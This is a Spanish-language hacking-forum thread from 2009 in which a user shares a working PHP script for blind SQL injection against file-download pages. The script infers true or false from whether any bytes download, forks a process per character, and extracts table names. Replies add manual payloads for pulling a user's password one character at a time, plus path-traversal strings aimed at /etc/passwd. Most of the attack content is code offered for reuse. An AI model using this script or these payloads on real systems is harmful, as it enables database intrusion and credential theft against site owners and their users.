elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Caso #01 : Blind SQL Inyection Con Descarga Forzada.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Caso #01 : Blind SQL Inyection Con Descarga Forzada.  (Leído 6,428 veces)
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« en: 6 Febrero 2009, 19:21 pm »




Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:
Código:
http://www.site.com/download.php?id=2

Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citar



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
   if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }
?>

La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.


Script Finalizado :
Código:
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net

*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>



Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.

Código:
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0


Saludos ¡
OzX¡

Fuente : http://foro.undersecurity.net/read.php?5,775,776
En línea

Undersecurity.net
Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #1 en: 6 Febrero 2009, 19:38 pm »

wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD




Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬
« Última modificación: 6 Febrero 2009, 19:44 pm por Azielito » En línea

Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #2 en: 7 Febrero 2009, 20:53 pm »

en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos
En línea

EvilGoblin


Desconectado Desconectado

Mensajes: 2.323


YO NO LA VOTE!


Ver Perfil
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #3 en: 7 Febrero 2009, 20:58 pm »

Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^

En línea

Experimental Serial Lain [Linux User]
OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #4 en: 7 Febrero 2009, 23:24 pm »

wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD




Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

jejej coool.

en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludos¡
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^


jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o  la nueva tecnica de obtenercion de informacion como load_file, pero con blind.

Saludos¡
En línea

Undersecurity.net
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #5 en: 10 Febrero 2009, 20:12 pm »

@OzX

Probando el script que haz enviado no me va, mi string manual es este:

Código:
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=50
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=51
http://1.1.1.1/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),2,1))=52
[/snip...]


Var dentro del code quedo así (algo falta):

Código:
$url="http://1.1.1.1/blind.php?id=1+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

Ejecucion:

Código:
C:\>php -f blind-forzado.php

-berz3k.

« Última modificación: 10 Febrero 2009, 20:14 pm por berz3k » En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #6 en: 10 Febrero 2009, 22:48 pm »

hi brota.

a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.

Código:
header( 'Content-Disposition: attachment; filename="' . $name . '"');  

donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.

el sistema que tiene para diferencir , si un valor es verdadero o falso, es.

Código:
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.

Código:
if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }

nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.


Saludos brota¡ :D ¡
En línea

Undersecurity.net
berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #7 en: 13 Febrero 2009, 19:40 pm »

Es verdad mi QUERY es un blind normal via GET + ASCII etc, mas no estoy utlizando la injection via "Content-Disposition:"

Código:
HTTP/1.1 200 OK
Server: test
content-disposition: attachment; filename=test.html <- AQUI INJECTION
Content-length: 16
Content-Type: application/octet-strea

configurare algun ejemplo de descarga forzada en mi LAB, mmm pero para ello necesito un ejemplo real y así observare mejor los detalles OzX

a) Estoy funcionara tanto para win32 como Linux? si no es así, sigamos con el HILO y posteando mas pruebas.
b) Estoy mirando los archivos configs para Linux  y win32 para crear un HEADER que force el CONTENT-DISPOSITION, OzX o si lo tenes ya ahorrarme el trabajo XD

mandame un msg private please!


-berz3k.

« Última modificación: 13 Febrero 2009, 19:46 pm por berz3k » En línea

OzX


Desconectado Desconectado

Mensajes: 406

[NuKe] Team


Ver Perfil WWW
Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
« Respuesta #8 en: 13 Febrero 2009, 20:20 pm »

Esta enfocado para linux , el server donde estaba mirando es linux.  :rolleyes:
Nose si te refieres a esto

Código:
<?
     header ("Content-Disposition: attachment; filename=".$file.";" );
     header ("Content-Type: application/force-download"); */

?>


Te envie un Priv ¡

Saludos¡ Brota¡

pd:nose si te llego el prvi me avisas

« Última modificación: 13 Febrero 2009, 20:24 pm por OzX » En línea

Undersecurity.net
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Duda]Blind sql inyection.
Nivel Web
volteo0101 0 2,169 Último mensaje 24 Diciembre 2010, 03:53 am
por volteo0101
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines